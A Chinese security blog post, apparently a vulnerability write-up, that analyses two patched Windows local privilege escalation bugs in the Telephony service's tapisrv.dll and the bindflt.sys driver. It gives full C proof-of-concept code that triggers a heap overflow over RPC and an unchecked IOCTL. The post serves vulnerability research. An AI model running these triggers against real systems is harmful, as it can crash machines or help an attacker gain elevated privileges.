标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-2874]   作者: 大猪 发表于: [2021-04-23]  [2021-04-23]被用户:大猪 修改过

本文共 [231] 位读者顶过

CVE-2020-1515 Windows Telephony服务tapisrv.dll整数溢出堆越界写本地提权漏洞

这个漏洞的修补函数分别为PInitialize,LInitialize,GetUIDllName,修补的目的基本相同都是为了防止整数溢出。

修补前的PInitialize[出自:jiwo.org]
在这里插入图片描述

修补后的PInitialize
在这里插入图片描述
然而这三个函数无法交叉引用,后来我发现此dll是一个rpc服务器,接着用rpcview查看了一下该dll的接口。
在这里插入图片描述
接着顺腾摸瓜看看这三个函数,在ClientRequest看到有这样一个代码。

在这里插入图片描述

在这里插入图片描述

基本上确定该漏洞应该是通过rpc客户端去链接调用服务端的函数来触发。

然后有些坑的事情就来了,rpc view无法反编译出idl是显示句柄还是隐式句柄,所以当我复制粘贴使用反编译出idl(隐式显示句柄)然后再去编译客户端时告诉我绑定句柄无效,然后在idl文件中每个函数参数前加一个 [in] handle_t hBinding(显示句柄)就好了

当有了句柄之后我发现不能直接调用ClientRequest,ClientRequest需要一个context_handle

我在构造context_handle参数的时候不知道如何构造,开始我还以为这是绑定句柄,后来发现不是,后来得知context_handle需要客户端给服务端一个空的context_handle然后服务端返回给你一个好的context_handle,那么我们怎么知道调用哪儿函数获得context_handle呢,这就又要从[in],[out]说起了

如果函数参数什么都没有,那么编译器会默认给每个参数加个[in],这个in加上的话服务器会默认验证这个参数的格式是否正确,并且会将值传递,ClientRequest的context_handle参数就是加上了[in],我们不能直接调,我们需要先调用ClientAttach获得一个服务器给我们初始好的context_handle,那么为什么是ClientAttach呢,因为ClientAttach的context_handle参数前面只有一个out,表明服务器不会对这个参数做任何效验,仅仅接受这样一个格式,不接受传递的任何值,但是对这个参数做的任何修改都会影响到客户端。

要想调用ClientAttach成功初始化上下文句柄,我们需要将代码执行到最后,经过对一段时间的调试得出一个可以获得句柄的执行路径的参数


INT64 test=0; void* chandle= &test;
 wchar_t* arg_3 = L"123"; w
char_t* arg_4 = L"123"; 
HANDLE hd = GetCurrentProcess(); 
ClientAttach( DefaultIfName_v1_0_c_ifspec, /* [context_handle][out] */ &chandle, /* [in] */ GetCurrentProcessId(), /* [out] */&hd, /* [string][in] */ arg_3, /* [string][in] */ arg_4); 


在这里插入图片描述


后面就可以调用ClientRequest了,这后面就是各种判断到达触发漏洞的地方,这个比较枯燥我就不贴了,值得一提的是下面一个细节。




[in][out]/* simple_ref */ /* [DBG] FC_CVARRAY */[size_is(arg_2)][length_is(*arg_3)]char* arg_1/*[] CONFORMANT_ARRAY*/, [in]long arg_2, [in][out]/* simple_ref */long* arg_3



这个size_is代表服务端申请内存的大小,length_is代表需要将arg_1拷贝到服务端申请内存的大小。



#include <stdio.h>
#include <string.h>
#include "Vulnerability2.h"
#include <stdlib.h>
int main(int argc, char* argv[])
{
RPC_SECURITY_QOS SecurityQOS = { 0 };
RPC_WSTR StringBinding = 0;
RpcStringBindingComposeW((RPC_WSTR)L"2f5f6520-ca46-1067-b319-00dd010662da", (RPC_WSTR)L"ncalrpc",
0, L"tapsrvlpc", 0, &StringBinding);
RpcBindingFromStringBindingW(StringBinding, &DefaultIfName_v1_0_c_ifspec);
SecurityQOS.Version = 1;
SecurityQOS.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;
SecurityQOS.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT;
SecurityQOS.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC;
RpcBindingSetAuthInfoExW(DefaultIfName_v1_0_c_ifspec, 0, 6u, 0xAu, 0, 0, (RPC_SECURITY_QOS*)&SecurityQOS);
RpcTryExcept
{
// CONTEXT_HANDLE a=0;
INT64 test=0;
void* chandle= &test;
wchar_t* arg_3 = L"123";
wchar_t* arg_4 = L"123";
HANDLE hd = GetCurrentProcess();
// 调用ClientAttach才能获得上下文句柄,直接调用ClientRequest会失败,因为直接调用ClientRequest的context_handle参数具有[in]属性
ClientAttach(
DefaultIfName_v1_0_c_ifspec,
/* [context_handle][out] */ &chandle,
/* [in] */ GetCurrentProcessId(),
/* [out] */&hd,
/* [string][in] */ arg_3,
/* [string][in] */ arg_4);
unsigned int len = 2147483647 - 110;
int* buf = malloc(0xffffffff);
if (buf == 0)
{
printf("Error creating handle %d\n", 1);
getchar();
}
unsigned int size = 2147483647 - 110;
memset(buf, 0x41, 0xffffffff);
buf[0] = 0x350 / 8; //call PInitializ
buf[5] = 0;
buf[7] = 0;
unsigned int indx = size + 1;
indx = indx >> 1;
buf[indx / 2 - 1] = 0; //绕过IsBadStringParam
ClientRequest(DefaultIfName_v1_0_c_ifspec,
chandle,//上下文句柄
buf, //缓冲区
size, //在服务器申请的字节数
&len //将buf内容拷贝到服务器申请的那块的字节数
);
// IsBadStringParam(size-0x3c, &buf+0x3c, *buf++0x14)
// IsBadStringParam(size-0x3c, &buf+0x3c, *buf++0x17)
}
RpcExcept(1)
{
printf("RPC ExceptiCAPSAX64DRVon %d\n", RpcExceptionCode());
}
RpcEndExcept
return 0;
}
void __RPC_FAR* __RPC_USER midl_user_allocate(size_t len)
{
return(malloc(len));
}
void __RPC_USER midl_user_free(void __RPC_FAR* ptr)
{
free(ptr);
}


PS:有一个比较大的限制:要想触发溢出,需要服务端需要有足够大的内存,否则将会返回rpc error 14


CVE-2020-17012 Windows bindflt.sys未验证DeviceIoControl缓冲区本地提权漏洞


win10 x64 1903 补丁地址http://download.windowsupdate.com/d/msdownload/update/software/secu/2020/11/windows10.0-kb4586786-x64_21c0216e37c7a07dbd069252733746e4414a6c88.msu

补丁后在这里插入图片描述

补丁前
在这里插入图片描述
可以看到很果断的不允许普通用户调用BfDrvDeviceControl

而BfDrvDeviceControl就是该驱动的IOCTL派遣函数

该漏洞成因是直接去缓冲区里面的地址去调用RtlInitUnicodeString
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述


poc:

#include<windows.h>

#include<stdio.h>

int main() {
HANDLE hDriver = CreateFileA("\\\\.\\GLOBALROOT\\Device\\bindflt", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDriver == INVALID_HANDLE_VALUE) {
printf("The driver does not start or the kb4586786 patch has been applied ");
getchar();
return -1;
}
ULONG dw;
ULONG inpbuf[4];
memset(inpbuf, 0x41, 16);
DeviceIoControl(hDriver, 0x220000, inpbuf, 16, 0, 0, &dw, NULL);
CloseHandle(hDriver);
return 0;
}


总结:


挖掘漏洞找那些更鲜为人知的地方会更加容易,此漏洞相比以往分析过的漏洞触发更简单,笔者之前也分析过windows驱动,不过都是开机自启动的驱动,像这种不是自启动的却没有想过,真是一大遗憾。


评论

暂无
发表评论
 返回顶部 
热度(231)
 关注微信